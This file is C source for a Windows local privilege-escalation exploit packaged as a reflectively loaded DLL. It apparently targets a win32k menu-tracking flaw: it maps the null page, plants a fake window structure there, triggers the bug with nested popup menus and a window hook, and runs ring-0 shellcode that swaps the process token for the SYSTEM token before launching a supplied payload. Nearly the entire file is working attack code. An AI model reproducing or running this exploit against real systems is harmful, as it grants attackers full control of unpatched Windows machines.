#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"

// Uncomment this line to enable to debug output
//#define DEBUGGING

// Purloined from ntstatus.h
#define STATUS_SUCCESS                          ((NTSTATUS)0x00000000L) // ntsubauth

#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS

#ifdef DEBUGGING
// only needed because of the output printf stuff when debugging
#include <stdio.h>
#endif

#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif

#define PTR_SIZE sizeof(UINT_PTR)

typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
	IN  HANDLE  ProcessHandle,
	IN  PVOID   *BaseAddress,
	IN  PULONG  ZeroBits,
	IN  PSIZE_T RegionSize,
	IN  ULONG   AllocationType,
	IN  ULONG   Protect
);

typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
	IN   HANDLE ProcessId,
	OUT  PVOID Process
);

typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
	_Inout_  PVOID Process
);

typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
	_In_       DWORD SystemInformationClass,
	_Inout_    PVOID SystemInformation,
	_In_       ULONG SystemInformationLength,
	_Out_opt_  PULONG ReturnLength
);

typedef struct _SYSTEM_MODULE
{
	HANDLE               Reserved1;
	PVOID                Reserved2;
	PVOID                ImageBaseAddress;
	ULONG                ImageSize;
	ULONG                Flags;
	USHORT               Id;
	USHORT               Rank;
	USHORT               w018;
	USHORT               NameOffset;
	BYTE                 Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct _SYSTEM_MODULE_INFORMATION
{
	ULONG                ModulesCount;
	SYSTEM_MODULE        Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

BOOL bWndProcFlag = FALSE;
BOOL bHookCallbackFlag = FALSE;

WNDPROC lpPrevWndFunc;
DWORD dwMyProcessId = 0;

lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;

#ifdef DEBUGGING
void dprintf(char* pszFormat, ...)
{
	char s_acBuf[2048];
	va_list args;
	va_start(args, pszFormat);
	vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
	OutputDebugString(s_acBuf);
	va_end(args);
}
#else
#define dprintf(...)
#endif

long CALLBACK hook_callback_two(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
	EndMenu();
	return -5;
}

LRESULT CALLBACK hook_callback(int code, WPARAM wParam, LPARAM lParam)
{
	if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag)
	{
		bHookCallbackFlag = TRUE;
		if (UnhookWindowsHook(WH_CALLWNDPROC, hook_callback))
		{
			lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)hook_callback_two);
		}
	}
	return CallNextHookEx(0, code, wParam, lParam);
}

LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	if (msg == 289 && !bWndProcFlag)
	{
		bWndProcFlag = TRUE;
		PostMessageA(hwnd, 256, 40, 0);
		PostMessageA(hwnd, 256, 39, 0);
		PostMessageA(hwnd, 513, 0, 0);
	}
	return DefWindowProc(hwnd, msg, wParam, lParam);
}

DWORD_PTR __stdcall get_threadinfo_ptr(void)
{
#ifdef _M_X64
	PBYTE pTeb = (PBYTE)__readgsqword(0x30);
	return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x78));
#else
	PBYTE pTeb = (PBYTE)__readfsdword(0x18);
	return (DWORD_PTR)*((PDWORD_PTR)(pTeb + 0x40));
#endif
}


// Search the specified data structure for a member with CurrentValue.
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
{
	DWORD_PTR dwIndex, dwMask;

	// Microsoft QWORD aligns object pointers, then uses the lower three
	// bits for quick reference counting.
#ifdef _M_X64
	dwMask = ~0xf;
#else
	dwMask = ~7;
#endif
	// dwMask out the reference count.
	dwCurrentValue &= dwMask;

	// Scan the structure for any occurrence of dwCurrentValue.
	for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
	{
		if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
		{
			// And finally, replace it with NewValue.
			pdwStructure[dwIndex] = dwNewValue;
			return TRUE;
		}
	}

	// Member not found.
	return FALSE;
}

int _stdcall shellcode_ring0(int one, int two, int three, int four)
{
	void *pMyProcessInfo = NULL;
	void *pSystemInfo = NULL;
	PACCESS_TOKEN systemToken;
	PACCESS_TOKEN targetToken;

	pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
	pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);

	targetToken = pPsReferencePrimaryToken(pMyProcessInfo);
	systemToken = pPsReferencePrimaryToken(pSystemInfo);

	// Find the token in the target process, and replace with the system token.
	find_and_replace_member((PDWORD_PTR)pMyProcessInfo,
		(DWORD_PTR)targetToken,
		(DWORD_PTR)systemToken,
		0x200);
	return 0;
}

DWORD WINAPI execute_payload(LPVOID lpPayload)
{
	VOID(*lpCode)() = (VOID(*)())lpPayload;
	lpCode();
	return ERROR_SUCCESS;
}

void win32k_null_page(LPVOID lpPayload)
{
	WNDCLASSA wndClass;
	char szNtName[256];
	PVOID pNtBase;
	OSVERSIONINFOA versionInfo;

	// Getting Windows version
	dprintf("[*] Getting Windows version...");
	memset(&versionInfo, 0, sizeof(OSVERSIONINFOA));
	versionInfo.dwOSVersionInfoSize = 148;

	if (!GetVersionExA(&versionInfo))
	{
		dprintf("[!] Failed to get windows version");
		return;
	}

	// Solve symbols
	dprintf("[*] Solving symbols...");

	HMODULE hNtdll = LoadLibraryA("ntdll");
	if (hNtdll == NULL)
	{
		dprintf("[!] Failed to Load ntdll...");
		return;
	}

	lZwQuerySystemInformation pZwQuerySystemInformation = (lZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
	if (pZwQuerySystemInformation == NULL)
	{
		dprintf("[!] Failed to solve ZwQuerySystemInformation");
		return;
	}

	pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	if (pNtAllocateVirtualMemory == NULL)
	{
		dprintf("[!] Failed to solve NtAllocateVirtualMemory");
		return;
	}

	dprintf("[*] Requesting Kernel loaded modules...");

	ULONG ulSystemInfoBufferSize = 0;
	pZwQuerySystemInformation(11, &ulSystemInfoBufferSize, 0, &ulSystemInfoBufferSize);
	if (ulSystemInfoBufferSize == 0)
	{
		dprintf("[!] Requesting pZwQuerySystemInformation required length failed");
		return;
	}

	dprintf("[*] pZwQuerySystemInformation required length %d", ulSystemInfoBufferSize);

	PULONG pSystemInfoBuffer = (PULONG)LocalAlloc(LMEM_ZEROINIT, ulSystemInfoBufferSize);
	if (pSystemInfoBuffer == NULL)
	{
		dprintf("[!] Allocation for SystemInfo failed");
		return;
	}

	if (pZwQuerySystemInformation(11, pSystemInfoBuffer, ulSystemInfoBufferSize, &ulSystemInfoBufferSize) != STATUS_SUCCESS)
	{
		dprintf("[!] Requesting kernel modules through ZwQuerySystemInformation failed");
		return;
	}

	dprintf("[*] Parsing SYSTEM_INFO...");

	SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;

	dprintf("[*] %d Kernel modules found", smi->ModulesCount);

	memset(szNtName, 0, 256);

	ULONG i = 0;
	while (i < smi->ModulesCount)
	{
		SYSTEM_MODULE *sm = (SYSTEM_MODULE *)(smi->Modules + i);
		dprintf("[*] Checking module %s", sm->Name);
		if (strstr((char *)sm->Name, ".exe"))
		{
			char *start = strstr((char *)sm->Name, "nt");
			if (start != NULL)
			{
				pNtBase = sm->ImageBaseAddress;
				strncpy_s(szNtName, 256, start, _TRUNCATE);
				break;
			}
		}
		i++;
	}

	if (szNtName == NULL)
	{
		dprintf("[!] nt not found");
		return;
	}
	dprintf("[*] Good! nt found as %s at 0x%08x", szNtName, pNtBase);

	HMODULE hNtKrnl = LoadLibraryA(szNtName);

	dprintf("[*] %s loaded in userspace at: %08x", szNtName, hNtKrnl);

	pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)GetProcAddress(hNtKrnl, "PsLookupProcessByProcessId");

	if (pPsLookupProcessByProcessId == NULL)
	{
		dprintf("[!] Failed to solve PsLookupProcessByProcessId");
		return;
	}

	pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)hNtKrnl));
	dprintf("[*] pPsLookupProcessByProcessId in kernel: 0x%p", pPsLookupProcessByProcessId);


	pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(hNtKrnl, "PsReferencePrimaryToken");

	if (pPsReferencePrimaryToken == NULL)
	{
		dprintf("[!] Failed to solve PsLookupProcessByProcessId");
		return;
	}

	pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)pNtBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)hNtKrnl));
	dprintf("[*] pPsReferencePrimaryToken in kernel: 0x%p", pPsReferencePrimaryToken);

	dwMyProcessId = GetCurrentProcessId();

	// Register Class
	dprintf("[*] Registering class...");

	memset(&wndClass, 0, sizeof(WNDCLASSA));
	wndClass.lpfnWndProc = wnd_proc; // Called with CallWindowProc => http://msdn.microsoft.com/en-us/library/windows/desktop/ms633571(v=vs.85).aspx
	wndClass.lpszClassName = "woqunimalegebi";

	if (!RegisterClassA(&wndClass))
	{
		dprintf("[!] RegisterClassA failed ");
		return;
	}

	// Create Window
	dprintf("[*] Creating window...");
	HWND hWnd = CreateWindowExA(0, "woqunimalegebi", NULL, 0, -1, -1, 0, 0, NULL, NULL, NULL, NULL);

	if (hWnd == NULL)
	{
		dprintf("[!] CreateWindowExA failed");
		return;
	}

	// Making everything ready for exploitation...

	dprintf("[*] Allocating null page...");
#ifdef _M_X64
	ULONGLONG dwBaseAddress = 0x00000000fffffffb;
#else
	DWORD dwBaseAddress = 1;
#endif

	SIZE_T sRegionSize = 0x1000;
	ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;

	if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
	{
		dprintf("[!] Failed to allocate null page");
		return;
	}

	dprintf("[*] Getting PtiCurrent...");

	DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr();

	if (dwThreadInfoPtr == 0)
	{
		LoadLibrary("user32.dll");
		LoadLibrary("gdi32.dll");
		dwThreadInfoPtr = get_threadinfo_ptr();
	}

	if (dwThreadInfoPtr == 0)
	{
		dprintf("[!] Filed to get current thread information");
		return;
	}

	dprintf("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr);
	dprintf("[*] Creating a fake structure at NULL...");

	LPVOID lpPtr = NULL;
#ifdef _M_X64
	(DWORD_PTR)lpPtr = 0x10000000B;
	*((PDWORD_PTR)lpPtr) = dwThreadInfoPtr;

	/* win32k!tagWND->bServerSideWindowProc = TRUE */
	(DWORD_PTR)lpPtr = 0x100000025;
	*((PBYTE)lpPtr) = 4;

	/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
	(DWORD_PTR)lpPtr = 0x10000008B;
	*((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0;
#else
	LPBYTE lpPromisedLand = NULL;
	lpPtr = lpPromisedLand + 3;
	/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
	.text:BF8B93F4 02C mov     edi, _gptiCurrent
	.text:BF8B93FA 02C cmp     edi, [esi + 8];
	.text:BF8B93FD 02C jz      loc_BF8B
	*/
	*(LPDWORD)lpPtr = dwThreadInfoPtr;

	*((LPBYTE)(lpPromisedLand + 0x11)) = 0x4;

	lpPtr = lpPromisedLand + 0x5b;
	*(LPDWORD)lpPtr = (DWORD)shellcode_ring0;
#endif

	// Exploit!

	dprintf("[*] Triggering vulnerability...");
	HMENU hMenuOne = CreatePopupMenu();
	if (hMenuOne == NULL)
	{
		dprintf("[!] First CreatePopupMenu failed");
		return;
	}

	MENUITEMINFOA menuOneInfo;
	memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA));
	menuOneInfo.cbSize = sizeof(MENUITEMINFOA);
	menuOneInfo.fMask = MIIM_STRING;

	if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE)
	{
		dprintf("[!] First InsertMenuItemA failed");
		DestroyMenu(hMenuOne);
		return;
	}

	HMENU hMenuTwo = CreatePopupMenu();
	if (hMenuTwo == NULL)
	{
		dprintf("[!] Second CreatePopupMenu failed");
		DestroyMenu(hMenuOne);
		return;
	}

	MENUITEMINFOA menuTwoInfo;
	memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA));
	menuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
	menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
	menuTwoInfo.dwTypeData = "";
	menuTwoInfo.cch = 1;
	menuTwoInfo.hSubMenu = hMenuOne;

	if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE)
	{
		dprintf("[!] Second InsertMenuItemA failed");
		DestroyMenu(hMenuTwo);
		DestroyMenu(hMenuOne);
		return;
	}

	if (SetWindowsHookExA(WH_CALLWNDPROC, hook_callback, NULL, GetCurrentThreadId()) == NULL)
	{
		dprintf("[!] SetWindowsHookExA failed :-(");
		DestroyMenu(hMenuTwo);
		DestroyMenu(hMenuOne);
		return;
	}

	// 'crash' it!
	TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);

	// If everything worked process should be privileges at this point
	dprintf("[!] Executing payload...");
	CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
	BOOL bReturnValue = TRUE;
	switch (dwReason)
	{
	case DLL_QUERY_HMODULE:
		hAppInstance = hinstDLL;
		if (lpReserved != NULL)
		{
			*(HMODULE *)lpReserved = hAppInstance;
		}
		break;
	case DLL_PROCESS_ATTACH:
		hAppInstance = hinstDLL;
		win32k_null_page(lpReserved);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return bReturnValue;
}
